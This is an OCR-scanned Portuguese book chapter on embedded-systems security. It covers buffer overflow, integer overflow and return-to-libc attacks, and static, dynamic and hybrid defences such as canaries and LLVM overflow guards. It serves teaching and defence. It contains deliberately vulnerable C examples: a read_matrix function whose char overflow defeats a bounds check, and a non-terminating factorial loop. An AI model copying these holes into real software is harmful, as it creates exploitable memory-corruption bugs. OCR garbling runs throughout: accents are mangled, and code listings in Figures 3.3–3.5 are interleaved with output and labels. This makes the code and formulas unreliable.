Uma tendéncia mais recente é o oferecimento de Sistemas-em-um-Chip (Systems-
on-Chip — SoCs), onde um processador € integrado a memorias, interfaces de entrada
e saida, temporizadores, e eventualmente a outro processador de uso geral ou um de
Processamento de Sinais (Digital Signal Processor — DSP).

Quanto ao nimero de bits, as CPUs podem ser de 8, 16 ou 32 bits. Apesar de
CPUs para PCs usarem 32 bits, e mais recentemente 64 bits, a maior parte de de aplica-
cOes embarcadas utilizam 8 ou 16 bits. Fabricantes como a Atmel e Microchip com as
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linhas AVR e PIC, respectivamente, dominam as solu¢des de 8 bits com processadores
que rodam com frequéncias entre 20 e 30 MHz. A Texas Instruments e a mesma Mi-
crochip oferecem as linhas MSP430 e PIC16 (respectivamente) para CPUs de 16 bits. A
linha TI MSP430 € uma das lideres em solugdes de ultra baixo consumo de energia.

Entretanto a demanda por CPUs de maior poder computacional tem crescido re-
centemente e diversas solugdes de 32 bits estdo disponiveis, como as familias de micro-
controladores PIC32, ARM MO, M1 e M4. Uma caracteristica marcante das linhas de 32
bits é sua maior capacidade de memoria, que pode chegar a 256 KBytes.

Ainda assim, existem classes de aplica¢des que demandam maior desempenho, o
que implica em maiores frequéncias de operagdo e capacidade de memoria. Estes dispo-
sitivos sdo chamados de microprocessadores embutidos (ou embedded microprocessors)
para distingui-los dos microcontroladores. Eles permitem func¢des de controle de super-
visdo, utilizam MMU (unidade de geréncia de memoria) que controla caches e prové
memoria virtual. Operam com frequéncia de clock de centenas de megaherz até mais de 1
GHz, podem incluir coprocessadores aritméticos de ponto flutuante e aceleradores grafi-
cos. Com isso podem usar sistemas operacionais mais elaborados como Linux embutidos.

Nivel de Integracdo. A demanda de baixos custos, alta densidade e menores fatores de
escala tem levado a um nivel de integracdo em que uma plataforma de hardware seja im-
plementada com poucos Cls. Na medida que o nivel de integracdo aumentou, mais € mais
l16gica foi adicionada ao processador, periféricos padronizados € médulos de memoria
foram agregados em um unico chip, criado familias de processadores com alto grau de
especificidade. Tais processadores sdo chamados de SoC.

Alimentacao e Poténcia. Sistemas Embarcados utilizam fontes de alimentaciao das mais
variadas formas e geralmente precisam adaptar o valor de tensdo disponivel para o(s)
valor(es) necessdrio(s). Uma plataforma tipica de hardware pode apresentar mdédulos de
alto consumo de energia, como discos magnéticos, discos baseados em memorias flash
(SSD), displays coloridos, e interfaces wireless.

A poténcia dissipada por sistemas computacionais se deve principalmente a ativi-
dade de troca de valores bindrios dos sinais elétricos, 0 que provoca a geragao de calor.
Fabricantes de Cls provém valores tipicos que sdo uma média de consumo de poténcia
para aplicacdes que utilizam por¢des representativas do circuito interno e suas entradas
e saidas. Nem sempre € necessdria a utilizacdo de uma ventoinha para remover o calor
gerado, e o uso de um dissipador metalico acoplado ao CI pode ser suficiente.

Confiabilidade/Disponibilidade. Sistemas Embarcados estdo incrustados em maquinas
ou sistemas mais complexos que devem rodar continuamente por anos sem erros, € em
muitos casos se recuperarem por si mesmos. Deste modo o software deve ser desenvol-
vido e testado com muito mais cuidado do que software para PCs, e o hardware deve evitar
dispositivos mecanicos com pe¢as méveis. Alguns problemas de confiabilidade sdo:

* o sistema ndo pode ser desligado com seguranga para reparos;
* osistema deve rodar sempre e modos de desempenho reduzido nao sao admissiveis;
* 0 ambiente ou sistema sofrerd perdas econdmicas se for desligado.
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Uma variedade de técnicas sdo empregadas, e muitas vezes combinadas, para se
recuperar de erros de software e hardware, como por exemplo vazamentos de memoria ou
integridade de sinal comprometida por crosstalk. As técnicas mais comuns s3o:

temporizador watchdog, para reinicio do software;

redundancia de hardware total ou parcial;
¢ modo reduzido em software;
* hipervisor embutido, baseado em virtualiza¢do de software;

* memoria com correcao de erros (ECC).

Fator de Forma e Expansibilidade. Sistemas Embarcados utilizam diversos fatores de
forma e que geralmente é determinado pelo ambiente onde o sistema serd embutido. A
maioria € composta por uma Unica placa de circuito impresso, denominadas Single Bo-
ard Computer (SBC). Nesta placa existem um conector de alimentagdo, para uma tnica
tensdo de entrada, e diversos conectores para as interfaces dos periféricos padrao, como
USB, SATA, etc., e quando necessdrio a placa pode apresentar um conector para sinais
discretos de E/S para interfaces especiais, como por exemplo o acionamento de relés ou
sensoriamento de chaves e interruptores. Os padrdes mais conhecidos sdo o Consércio
PC/104, que define um conjunto de placas de dimensdes fixas e conectores padronizados
para um barramento usando o protocolo PCle e que permitem o empilhamento de placas;
o padrao COM Express e o padrdo Qseven, onde cada placa contém toda a logica e Cls
para um sistema computacional completo.

Como Sistemas Embarcados sdo projetados para uma aplicacdo especifica, e o
custo é um requisito importante, expansibilidade € geralmente sacrificada. Mais ainda,
ao utilizar microcontroladores de 8 e 16 bits a memoria ja vem com tamanho fixo e ndo
pode ser expandida, pois o barramento do processador nio esta disponivel para conexao.
Microprocessadores € SoCs de 32 bits geralmente usam memdrias externas, pois progra-
mas e dados podem ocupar centenas de kilobytes ou até mesmo megabytes. As solugdes
empregadas empregam Cls externos de memorias flash, para programas, e DRAM para
dados, ou eventualmente apenas DRAM.

Conectividade. Conectividade é a caracteristica de sistemas embutidos que mais tem
crescido atualmente. Diversas previsdes apontam para um nimero de 15 bilhdes dispo-
sitivos conectados a Internet em 2015, e a maioria deles sdo Sistemas Embarcados. Isto
implica que eles devem suportar pilhas IPv4 e brevemente IPv6. Outros padrdes como
Ethernet, WiFi, Bluetooth e Zigbee, devem também ser suportados, as vezes varios deles,
dependendo da aplicagcdo. Novos protocolos como o Near Field Communication (NFC)
comegam a serem usados para interligar dispositivos méveis, como celulares, com siste-
mas de automacdo doméstica e bancdria, e até mesmo com aparelhos eletrodomésticos
como televisores inteligentes. Finalmente, as redes telefonicas méveis e sua comunica-
cdo GPRS, 3G e 4G, sdo formas atraentes de conexao remota para sistemas embutidos de
dificil acesso fisico.
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Seguranca. A seguranca em Sistemas Embarcados nem sempre foi levada em conta uma
vez que, inicialmente, a maioria deles operavam embutidos em sistemas sem conectivi-
dade exterior, como a internet. Em um automdével uma rede local, baseada em protocolos
CAN e LIN, interligam diversos sistemas embarcados dedicados, como por exemplo con-
trole do motor, ABS e painel. Entretanto as novas aplicacdes que mais utilizam o conceito
de Sistemas Embarcados sdo dispositivos mdveis que precisam se interconectarem a Web
via protocolos Internet e diversas conexdes sem fio como WiFi, 3G/GPRS e mesmo a
Ethernet com fio.

Aliado a isso estd o fato de que aplicagdes para Sistemas Embarcados sdo comu-
mente desenvolvidas em C. A opg¢do pela linguagem € em razdo da sua eficiéncia, ou
seja, aplicacdes escritas em C sdo usualmente mais rapidas e com isso mais adequadas
a sistemas com pouco recursos como Sistemas Embarcados. Contudo, tal eficiéncia tem
preco. Quando comparada a outras linguagens de programacado, C ndo implementa alguns
mecanismos de seguranca, o que deixa suas aplica¢cdes mais vulneraveis que as demais,
em geral. Ao longo deste capitulo sera detalhado a seguranca da linguagem C e como isso
pode afetar a seguranga Sistemas Embarcados como um todo.

3.3. Seguranca de Software: Visao Geral

Seguranca de Software é um tema cada vez mais relevante [Jones 2007, McGraw 2006].
Na medida em que ataques que exploram vulnerabilidades em software crescem vertigi-
nosamente [Alhazmi et al. 2007], a Seguranca de Softwaretorna-se um tema central na
seguranca de sistemas computacionais como um todo.

Ataques s@o comumente dividas em duas categorias: aqueles que concernem ao
sigilo da informacao e aqueles relativos a integridade

O Vazamento de Endereco (Address Leak ou Program Data Leak) e o Vazamento
de Dados (Data Leak) sdao exemplos de ataques relativos ao sigilo. A ideia é que o ad-
versdrio force o vazamento de um dado que possa ser usado para comprometer o fun-
cionamento do sistema. Por exemplo, o advento de mecanismos de seguranga como o
Prevencao contra a Execucdo de Dados evita que dados injetados pelo adversario sejam
usados pelo sistema. Assim, uma alternativa para o adversario é descobrir o endereco de
uma fungdo sensivel (\bin\sh, por exemplo) j4 contida no sistema para, subsequente-
mente, alterar o fluxo de execu¢do para a mesma. Tal descoberta ndo € sempre trivial e
uma das formas de determinar o endereco de uma fungdo € antes realizar um ataque de
Vazamento de Endereco.

Ainda acerca do sigilo, € possivel que o resultado de um vazamento, por si, ja
satisfaca os anseios do adversdrio. Isso fica evidente quando se examina o trabalho de
Aranha et. al. sobre a urna eletronica brasileira [Aranha et al. 2012]. Nele, observa-se
que existe um Vazamento de Dados na urna, um vazamento da semente da fun¢ao pseudo-
aleatdria responsavel pelo baralhamento da ordem dos votos. Isso, derradeiramente, pode
levar a quebra da propriedade de sigilo do voto em um pleito.

Agora vamos versar um pouco sobre os ataques que ferem a integridade de um
sistema. Aqui resta o popular ataque de Estouro de Arranjo (Buffer Overflow). Nele, o
adversdrio explora o fato de que linguagens como C ndo sdo fortemente tipadas e, por
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Ataques
Sigilo Integridade
Vazamento Vazamento
Estouro Estouro de
de Dados do de Dados . .
L. de Inteiro Arranjo
Programa do Usuario

Figura 3.1. Vulnerabilidades

conseguinte, ndo verificam limites de arranjos. Ou seja, € possivel preencher um arranjo
para além dos seus limites, violando regides de memoria e sobrescrevendo de forma ilegal
seus valores. Isso, por sua vez, permite desviar o fluxo de execucdo de programas para,
por exemplo, execugdo de acdes maliciosas.

Outro ataque conhecido € o ataque de Estouro de Inteiro (Integer Overflow). Aqui,
o limite violado ndo € o de limites de arranjo, mas sim o de limites de inteiros. Este ataque
pode ser empregado da seguinte maneira. Suponha um inteiro que determinara o tamanho
de uma regido de memoria alocada dinamicamente. O adversario entdo forca o estouro
deste inteiro que agora passa a ter um valor pequeno, quem sabe negativo. A regido de
memoria alocada serd menor que esperada o que, por sua vez, pode viabilizar um ataque
de Estouro de Arranjo.

Apontar vulnerabilidades que levam ao Estouro de Inteiro € algo particularmente
desafiador, dado que alguns deles sdo realizados de forma deliberada pelo programador
para fins de eficiéncia®. Em outras palavras, a dificuldade resta nio em apontar um Es-
touro de Inteiro, mas em determinar-se se o mesmo € benigno ou maligno.

Felizmente, paralelamente a difusdo de ataques de software, surgem também inu-
meras propostas de defesa ( [Molnar et al. 2009, Wang et al. 2009, Dietz et al. 2012,Rodri-
gues et al. 2013], por exemplo). A maioria das propostas de defesa existentes sdo basea-
das na Anadlise Estdtica [Misra 1987, Wagner and Dean 2001], na Andlise Dinamica [Bell
1999, Mock 2003], ou na combina¢do de ambas, isto é, na Andlise Hibrida [Rus et al.
2003, Ernst 2003]. A concepcao dessas propostas € uma tarefa extremamente desafiadora
j& que qualquer propriedade ndo trivial de linguagens recursivamente enumeraveis é um
problema indecidivel [Hopcroft 2008] — em outras palavras, ndo existe programa genérico
capaz de decidir se um outro programa qualquer € ou nao vulneravel.

A Analise Estatica [Misra 1987] inspeciona o cddigo antes do programa ser ins-

ZPor exemplo, um programador pode mimetizar uma operacio de médulo eficientemente por meio de
uma operagdo que estoure o limite de um tipo inteiro.
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talado (deployed) e, por essa razdo, é também conhecida como andlise de codigo. Essa
andlise varia de um simples script para o casamento de padrdes até um sofisticado analisa-
dor sintético (parser). A vantagem do método é que nao ha sobrecarga (overhead) direta
em tempo de execucdo, ja que a analise € realizada a priori e o cddigo fonte permanece
inalterado. O lado negativo € que no momento da andlise ndo ha as informacgdes que o
programa dispde em tempo de execugdo. Tal desinformacdo impossibilita determinar-se
se ha ou ndo vulnerabilidades em certos trechos de cédigo. Na divida, a estratégia con-
servadora € adotada e presume-se que a vulnerabilidade, sim, existe. Isso, por sua vez,
traduz-se em falso-positivos (posteriormente, veremos que falso-positivos podem indire-
tamente resultar em sobrecarga).

Por meio da Anélise Estatica € possivel abordar algumas questdes que ja relata-
mos. Por exemplo, para mitigar ou mesmo impedir ataques que ferem o sigilo de um
sistema, pode-se empregar a Andlise Estatica para responder a seguinte questio: existe
um caminho que vai de um dado sensivel (ou secreto) até um canal publico? Tal questio,
na prética, pode ser mapeada para: o valor de uma varidvel sensivel pode ser propagado
ao longo da execucdo de um programa até ser passado como parametro para uma fungao
do tipo print £, fput etc.

Caso sim, entdo a andlise retorna que ha uma vulnerabilidade no programa.

Analogamente, a Andlise Estatica pode responder se a integridade de um programa
pode ser violada. Agora, a questdo posta a andlise € a seguinte: existe um caminho que
vai de uma entrada publica, ndo confidvel, até uma operagdo sensivel? Novamente, na
pratica, essa questdo pode ser refraseada, por exemplo, assim: hd uma operacao de leitura
do tipo fscan cuja a entrada pode ser eventualmente propagada para dentro de um arranjo
cujos limites ndo sdo checados?

A Andlise Dinamica [Bell 1999], por sua vez, envolve a execucdo propriamente
dita do programa objeto da andlise, razdo pela qual é também chamada de verificacao
em tempo de execucdo (run-time checking). A ideia é rodar o programa para um con-
junto provével de entradas e analisar seu comportamento (com respeito a vazamento de
dados confidenciais, por exemplo). A vantagem da técnica € que ela pode tirar proveito
de informagdes sé disponiveis em tempo de execucdo. Isso, por sua vez, mitiga signifi-
cantemente o problema dos falso-positivos, comum na andlise estatica. Desvantagem do
método é que os resultados sdo pertinentes apenas as entradas testadas e, assim, nao se
pode derivar conclusdes acerca do comportamento geral do programa. Por esse motivo, a
Andlise Dinamica € inerentemente inconsistente (unsound), isto €, ndo se pode afirmar se
um programa € ou nao vulnerdvel a partir desta técnica.

Exemplos de Andlise Dindmica para evitar ataques de Estouro de Arranjo sdo
Verificagao de Limites de Arranjo e Candrios. O primeiro atua proativamente, verificando
se 0 acesso a memoria estd dentro dos limites, caso contrario, o mecanismo aborta a
execucdo do programa. Para tal é necessdrio instrumentar o programa de forma a guardar
os tamanhos de arranjos e checar seus limites sempre que ocorre um acesso a memoria.
O Candrio, por sua vez, atua de forma reativa abortando o programa logo apds um ataque
de Estouro de Arranjo ter sido efetuado. Com esse fim, o mecanismo insere uma valor
aleatdrio entre o arranjos e enderegos de retornos de fungdes. Ao final da fungdo, verifica-
se se o valor do canario foi alterado. Se foi, € sinal que um Estouro de Arranjo ocorreu e
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entdo o programa é abortado.

Uma técnica comum é a Andlise Hibrida [Rus et al. 2003], ou seja, a combi-
nagdo das técnicas das Andlises Estdtica e Dindmica. Usualmente, a Analise Estética é
primeiramente empregada para encontrar-se 0 maior nimero de vulnerabilidades possivel
e, posteriormente, a Andlise Dindmica entra para monitorar o c6digo nestes supostamente
vulnerdveis. Aqui resta o motivo pelo qual falso-positivos resultantes da Andlise Dina-
mica podem indiretamente acarretar sobrecarga. Todo trecho de c6digo em que Andlise
Dinamica apontar vulnerabilidades serd instrumentado com um monitor, o qual € utili-
zado em tempo de execucgdo, e incorre em sobrecarga. Portanto, é fundamental para a
eficiéncia de um sistema que o nimero de falso-positivos seja baixo.

Defesas
Analise Analise
Estatica Dinamica
Anilise de Grafo de Verificacio Guardas
Intervalo Dependéncias de Limites

Figura 3.2. Defesas
Por fim, uma andlise pioneira, concebida por nés, € a Andlise Distribuida. Veja,
um sistema distribuido é formado por varios processos em execucdo que colaboram en-
tre si para atingir uma meta comum. Tais sistemas estdo presentes no nosso dia-a-dia
em aplicagdes bancdrias, comércio eletronico, sistemas de telecomunicag¢des entre outros.
Ferramentas de Andlises Estaticas convencionais ndo foram concebidas com foco nesta
interlocugdo entre processo. Se uma ferramenta for capaz de cruzar informagdes oriundas
dos vérios processos que constituem o sistema distribuido, entdo mais constata¢des acerca
da seguranca de um sistema poderdo ser feitas. Entretanto, analisd-los concomitante ndo
¢ uma tarefa trivial, pois o problema de anélise de fluxo de informacao entre os interlocu-
tores pode ser computacionalmente ineficiente. A ideia da Andlise Distribuida € realizar
esse cruzamento de informacgdes de maneira eficiente.

3.4. Ataques
3.4.1. Estouro de Arranjo
3.4.1.1. Visao Geral

Um buffer ou arranjo pode ser definido simplesmente como um bloco contiguo de me-
moria, com a finalidade de armazenar um conjunto de um certo tipo de dados. O Estouro
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de Arranjo € uma anomalia na qual tenta-se escrever sobre um arranjo mais dados do que
ele tem capacidade para armazenar. Dessa forma, as posi¢des de memoria adjacentes ao
arranjo acabam sendo sobrescritas, configurando-se uma violagao de memoria. Os efeitos
de tal anomalia podem variar desde um comportamento inesperado do programa a graves
vulnerabilidades de seguranca.

As linguagens de programacao que sdo afetadas por tal problema sio as chamadas
fracamente tipadas, como por exemplo C, amplamente utilizada em Sistemas Embarca-
dos por sua eficiéncia. Nestas linguagens, quando ocorre um acesso para escrita ou leitura
de um arranjo, nao se verifica automaticamente se a escrita ou leitura ocorre dentro dos
limites alocados. Em contrapartida, numa linguagem fortemente tipada, tal como Java,
para cada por¢do de memdria alocada sdo mantidos metadados que permitem a realiza¢ao
de verificacdes de limites de arranjos para todo e qualquer acesso, em tempo de execu-
cdo. A realizacdo ou ndo de tais verificacdes implica, na pratica, num compromisso entre
desempenho e robustez.

Dessa forma, se a linguagem de programagao nao prové mecanismos automaticos
para evitar o Estouro de Arranjo, essa tarefa fica dependente da disciplina do programa-
dor. A consequéncia de tal fato € que o Estouro de Arranjo configura-se como uma das
vulnerabilidades mais frequentes e mais exploradas por atacantes. Casos famosos de ex-
ploracdes relacionadas a vulnerabilidades de Estouro de Arranjo ocorrem desde a década
de 80, como por exemplo o Morris worm que foi um dos primeiros worms disseminados
pela Internet; todavia, os ataques permanecem atuais, como atestam os recentes ataques a
plataforma de jogos Xbox, que permitiram o uso de software ndo licenciado.

Embora tais vulnerabilidades possam, em geral, ser facilmente corrigidas, se con-
siderados casos individuais, o caso geral dificil de caracterizar, pelas diversas formas
como essa anomalia pode se apresentar. O Estouro de Arranjo permanece, portanto,
como um desafio para a comunidade cientifica, pois as ferramentas de detec¢io e cor-
recdo desenvolvidas até o presente momento apresentam ainda grandes possibilidades de
melhoria.

3.4.1.2. Funcionamento

Para compreender como funciona um ataque de estouro de arranjos, € necessario algum
conhecimento sobre a memoria de um processo computacional. Em geral, ela encontra-se
dividida nas seguintes regides:

e Texto: Uma regido de tamanho fixo, que contém as instru¢des do programa, sendo
habilitada apenas para leitura;

* Dados: Contém varidveis globais e estéticas do programa;

* Pilha: A pilha é um bloco de memdria contiguo que contém uma sequéncia de qua-
dros, que sdo inseridos quando uma funcao € chamada e retirados quando ela re-
torna. Um quadro contém diversos tipos de dados necessérios para a fungao, como
seus parametros, suas variaveis locais e endereco de retorno, bem como informagao
necessdria para recuperar o estado da pilha tal qual antes de sua chamada;
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* Heap: Uma regido de memoria que contém as varidveis alocadas dinamicamente.
Nessa regido, o controle da memoria deve ser realizado explicitamente pelo progra-
mador.

Ataques de Estouro de Arranjo podem acontecer na pilha ou no heap. A seguir,
serdo discutidos os tipos de ataque mais comuns.

Ataque baseado em pilha. Em um ataque baseado em pilha, varidveis de controle podem
ser sobrescritas, de forma a alterar o fluxo de execucdo do programa. Em sua forma
mais elementar, esse ataque sobrescreve o endereco de retorno de uma fungio, conforme
descrito no histérico artigo apresentado por Aleph One [Aleph One 1996]. Outras formas
de ataque sao possiveis também; em [Richarte et al. 2002], por exemplo, é descrito um
ataque no qual o stack frame pointer é sobrescrito de maneira a comprometer e controlar
o fluxo de execu¢do de um programa. Um atacante pode, entdo, desviar o controle para
uma sequéncia de cédigo executavel previamente injetada na pilha.

Ataque baseado em heap. Ataques que ocorram no heap siao mais dificeis de explorar e
compreender, devido a sua natureza dindmica. Geralmente, ataques dessa natureza ocor-
rem através da corrupc¢ao de estruturas internas de controle. No exemplo candnico, uma
estrutura que controla os blocos livres de memoria é sobrescrito e ao ser liberado acaba
por sobrescrever o endereco de retorno de uma fung¢do na pilha. Mais detalhes sobre esse
tipo de ataque podem ser encontrado em [Robertson et al. 2003].

Ataque de retorno a 1ibe. Um dos mecanismos de defesa mais amplamente adotados,
conforme serd descrito na se¢do 3.5.2, denomina-se Prevencdo contra a Execucdo de
Dados. Esta protecdo, como o proprio nome sugere, impediria um atacante de executar
um codigo injetado no programa a partir da entrada, tornando a tomada de controle do
programa bem mais improvavel. Entretanto, esse tipo de defesa dificulta, mas ndo impede
um ataque, pois um atacante pode, ainda, desviar o fluxo de execu¢do para um cédigo
bindrio ja carregado, como por exemplo uma biblioteca compartilhada. Dessa forma,
codigo legitimo € reutilizado para fins maliciosos. O exemplo candnico de biblioteca
utilizada nesse tipo de ataque € a 1ibc, a biblioteca padrao da linguagem C. Embora
possa-se imaginar que tal ataque ofereca um controle bastante limitado ao atacante, tal
fato ndo se confirma na pratica: conforme demonstrado em [Tran et al. 2011], um ataque
de retorno a 1ibc Turing-completo € possivel, ou seja, um atacante pode realizar todo
tipo de computacao.

3.4.2. Estouro de Inteiro

Algumas das linguagens de programac¢do mais populares, como C, C++ e Java, limi-
tam o tamanho de tipos numéricos inteiros. Por exemplo, o tipo int, em Java, contém
os niimeros inteiros entre —23! ¢ 23! — 1. Existem, portanto, niimeros que nio podem
ser representados por esses tipos. Operagdes aritméticas inteiras, nessas linguagens de
programagdo, possuem uma semdntica modular [Warren 2002]. Se um numero n € arma-
zenado em uma varidvel v de tipo primitivo 7', e o valor de n € maior que o limite superior
de T, aqui chamado 7},,,, entdo parte dos bits que compdem n sdo descartados. O valor
armazenado em v termina por ser n modulo 7,,,,. A Figura 3.3 ilustra essa semantica
modular. Neste exemplo, estamos mostrando um programa escrito em C, que opera sobre
o tipo char. Esse tipo nimero possui oito bits em complemento de dois. Assim, sete
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bits representam valor, e um bit representa sinal. O inteiro 128 ndo possui representacao
nesse tipo. A tentativa de armazenar esse nimero em uma varidvel char produz o valor
128 médulo 128 = —1 em complemento de dois.

int main() {

char i = 118; 123 -128 -123 -118 -113 -108 -103 -98

while (i < 125) { -93 -88 -83 -78 -73 -68 -63 -58
i += 5; -53 -48 -43 -38 -33 -28 -23 -18
printf("%8d", i); -13 -8 -3 2 7 12 17 22

} 27 32 37 42 47 52 57 62
Fintf("\n"): 67 72 77 82 87 92 97 102

) P ( )i 107 112 117 122 127
(a) (b)
122=0 1 1 1 1 0 1 1 =123,,
28=1 0 0 0 0 0 0 0 =-128,,
133=1 0o 0 0 0 1 o0 1 =-123, (¢

Figura 3.3. (a) Programa que ilustra a semantica modular de operacoes aritméti-
cas inteiras em C. (b) Saida produzida pelo programa exemplo. (c) Representa-
cao de trés diferentes numeros usando o tipo char, com sete bits de valor, e um
bit de sinal.

A tentativa de armazenar um numero » em um tipo 7', sendo n maior que a capaci-
dade de T, produz um Estouro de Inteiro. Existem situacdes em que estouros de inteiros
sdo aceitaveis [Dietz et al. 2012]. Por exemplo, programadores podem usar esse com-
portamento para implementar fung¢des hash e geradores de nimeros aleatdrios. Por outro
lado, o mal uso desse semantica pode ter consequéncias catastréficas. Possivelmente, o
caso mais famoso de falha de software devido a Estouro de Inteiros aconteceu em 1996.
Naquele ano, o foguete Ariane 5 teve de ser destruido devido a uma perda de precisdo
em aritmética de inteiros. Essa falha custou ao programa espacial europeu cerca de 370
milhdes de ddlares.

3.4.2.1. Vulnerabilidade de Software devido a Estouro de Inteiro

Estouros de inteiro podem levar a implementagdo ndo somente de programas semantica-
mente incorretos, mas também a implementacdo de programas vulnerdveis. Como apon-
tado por Dietz et al. [Dietz et al. 2012], a semantica modular de C € a causa de diversas
vulnerabilidades em aplicacdes bem conhecidas, como OpenSSH e Firefox. A Figura 3.4
ilustra uma vulnerabilidade desse tipo. A fun¢do read_matrix copia uma matriz, em
formato linearizado, isto €, representada como um vetor, a partir do arranjo de origem
data para o arranjo de destino buf. Uma faixa de memodria de tamanho BUF_SIZE
¢ alocada para buf na linha 5 de nosso exemplo. Uma vez alocada essa regido, que ird
receber dados, a funcdo read_matrix realiza a cOpia, caracter a caracter, nos lagcos
vistos nas linhas 6 e 7. O correto funcionamento da fun¢io assume que o produto w =
h € menor que BUF__SIZE. Tal garantia é dada pelo teste condicional na linha 3. Sendo
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esse teste verdadeiro, o programador entende que nunca serdo copiados para buf mais
dados que o arranjo buf comporta.

l void read matrix(int* data, char w, char h) {

char buf size = w * h;

if (buf_size < BUF_SIZE) { BUF_SIZE = 120

char
int c0, cl;

int buf[BUF SIZE];

2

3

: strlen(data) = 132
6 for (c0 = 0; c0 < h; c0++) {

7

8

9

char

buf size = -124

char

for (cl = 0; cl < w; cl++) {
int index = c0 * w + cl;

buf[index] = data[index]

~e

10 }

" y W=000001T10-= 6y,
12 process (buf) ; h=00010110=22,,
13} h*w=10000100=-124,,
14 }

Figura 3.4. Exemplo de estouro de inteiro que pode ser usado para habilitar um
ataque de estouro de arranjo.

Existe, contudo, a possibilidade que um Estouro de Arranjo atribua a varidvel
buf_size um valor muito menor que a expressdo w * h produziria, se o tipo char
possuisse capacidade infinita. Por exemplo, se w for 6, e h for 22, entdo o produto w =
h € 132. Esse nimero, quando atribuido a uma varidvel do tipo char, gera o valor -124.
Isso faz com que o teste na linha 3 seja inicialmente verdade, ainda que BUF_SIZE seja
um valor menor que 132. Em nosso exemplo, temos que BUF_SIZE E 120. O arranjo
buf serd totalmente preenchido com dados, € os 12 bytes restantes irdo sobre-escrever
memoria da pilha da fun¢do read_mat rix. Essa situagdo configura um caso de ataque
de Estouro de Arranjo. Se a aritmética inteira de C possuisse precis@o infinita, entdo a
fungcdo read_matrix estaria totalmente guardada contra esse tipo de ataque.

Estouro de Arranjo podem também tornar possiveis ataques de ndo terminagao de
programas. Um adversdrio realiza um ataque desse tipo fornecendo ao programa alvo
entradas cuidadosamente produzidas para forcar iteragdes eternas sobre um laco vulne-
ravel. Tal cendrio € ilustrado pela Figura 3.5, que contém um programa que computa
o fatorial de um ndmero inteiro. O tamanho do tipo int, em C, ndo € parte da espe-
cificagdo da linguagem. Essa informagdo depende, antes, da implementagdo do com-
pilador. Entretanto, € usual que inteiros sejam representados como numeros de 32 bits
na maior parte das arquiteturas modernas. Neste caso, o maior inteiro representavel é
MAX_INT =231 — 1 =2,147,483,647. Se o parametro n for igual a MAX_INT, entio a
condi¢do da linha 4 sempre serd verdadeira, e o lago nunca termina. A ndo-terminagdo
ocorre porque quando i finalmente chega a MAX_INT, a soma i + 1 produz o menor in-
teiro possivel, isto é, —23!. A funcio fact vista na Figura 3.5 (b) ndo apresenta esse tipo
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de vulnerabilidade, uma vez que o teste na linha 3 exclui parametros muito grandes.

(@ 1 int fact(int n) { se MAX INT=232.] (b | in® fact(int n) {
- int r = 1;

2 int r = 1; 2 :
3 int i = 2; ese i=MAX_INT, 3 1if (n < 13) {
4 while (i <= n) { . 32 4 int 1 =2
5 r %= i entdoi+ 1 =-2 5 while (i <= n) {
6 i++; , 6 r *= i;
7 } ' 7 i++;
8
8 return r; }
9 } 9 '}

10 return r;

1}

Figura 3.5. (a) Uma funcao em C, que calcula o fatorial de um nimero inteiro
e esta sujeita a ataques de nao-terminacao devido a estouros de arranjos. (b)
Funcao similar, protegida contra a nao-terminacao.

3.4.2.2. Protecao contra Estouro de Inteiros

E possivel sanear programas contra a ocorréncia de Estouro de Inteiros automaticamente.
Tal saneamento da-se via a inserc@o de testes que verificam a ocorréncia de estouros, e
direcionam o fluxo de execu¢do do programa para rotinas de tratamento de erro [Brumley
et al. 2007, Dietz et al. 2012, Rodrigues et al. 2013]. O cddigo que constitui cada um
desses testes € formado por uma guarda, mas um tratador de eventos. Essas guardas usam
testes como aqueles ilustrados na Figura 3.6 para verificar a ocorréncia de estouros de
precisdo. A Figura 3.6 mostra testes que detectam estouros nas seguintes operagdes arit-
méticas: adi¢do, subtracdo, multiplicacdo e arredamentos para a esquerda. As operagdes
de adi¢do, subtrac@o e multiplicagdo podem ser com ou sem sinal aritmético.

Os testes sd@o implementados como sequéncias de operacdes bindrias, executados
logo ap6s a instrucdo guardada, e podem ser inseridos pelo compilador durante a geracao
de cddigo. Para ilustrar esse ponto, a Figura 3.7 mostra o cddigo que instrumenta uma
soma com sinal de duas varidveis. A Figura usa c6digo no formato intermedidrio de trés
enderecos. Essa representacdo € padrdo entre véarios compiladores, como gcc e LLVM.
Omitimos, nesse exemplo, o cddigo do tratador de evento de estouro, pois ele simples-
mente chama uma rotina implementada em uma biblioteca dinamicamente compartilhada.
Conforme podemos observar pela Figura, uma guarda aumenta o cédigo instrumentado
substancialmente. Nesse exemplo em particular, a verificacdo requer a insercdo de 14
novas instru¢des no programa guardado. Embora tal crescimento a principio possa pa-
recer proibitivamente grande, diversos grupos de pesquisa ja realizaram experimentos
indicando que somente uma parcela muito pequena das instru¢cdes do programa alvo pre-
cisam ser guardadas [Brumley et al. 2007, Dietz et al. 2012, Rodrigues et al. 2013].
Consequentemente, o custo, em termos de crescimento de cédigo e perda de desempe-
nho, é negligivel, ficando em torno de 1% a 5%.
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Instrucao

X=01 +5 02

X=01 +,4 07

X=0] —s 02

X=01 —u 02
X =01 xu/s 0)
X =o01 shiftn

x={n 01

Verificacdo

(01 >0N0, >0Ax<0) V
(01 <0N0p <0AX>0)

x<o1Vx<o;

(01 <0Vo,>0Vx>0) V
(01 >0Vo, <0Vx<0)

01 <0,
x#0=>x+01# 0
(01 >0Ax<o01)V (0 <OAR#O0)

cast(x, type(o1)) # 01

Figura 3.6. Testes para deteccao de Estouro de Inteiros. Usamos |, para descre-
ver a operacao que trunca em n bits. O subscrito s indica uma operacao aritmé-
tica com sinal, e o subscrito « indica uma operacao sem sinal.

(a) ©

int foo(int x, int y) {
return x + y;

}
(b)

entry:
%add = add nsw i32 %x, %y
ret i32 %add

(©

X = 0; T 0,

(d)

0;,>0A0,>0Ax<0) v
1 2

0, <0A0,<0AXx>0
1 2

entry:

%add = add nsw i32 %x, %y
%0 = icmp sge 132 %x, 0
Sl icmp sge 132 %y, O
%2 and il %0, %1

%3 icmp slt 132 %add, O
%4 and il %2, %3

%5 icmp slt 132 %x, O
%6 icmp slt 132 %y, O
%7 and il %5, %6

%8 icmp sge 132 %add, O
%9 and il %7, %8

%10 = or 11 %4, %9

br il %10, label %11, label %12

%11:

call void %handle_overflow(...)
br label %12

\ ‘(/////
%12:
ret i32 %add

Figura 3.7. Instrumentacao usada para prevenir Estouro de Arranjos. (a) Pro-
grama a ser instrumentado. (b) Representacao intermediaria do programa a ser
protegido. (c) Soma com sinal: operacao que sera guardada contra Estouro de
Inteiros. (d) Teste usado para verificar a ocorréncia de estouros na soma com
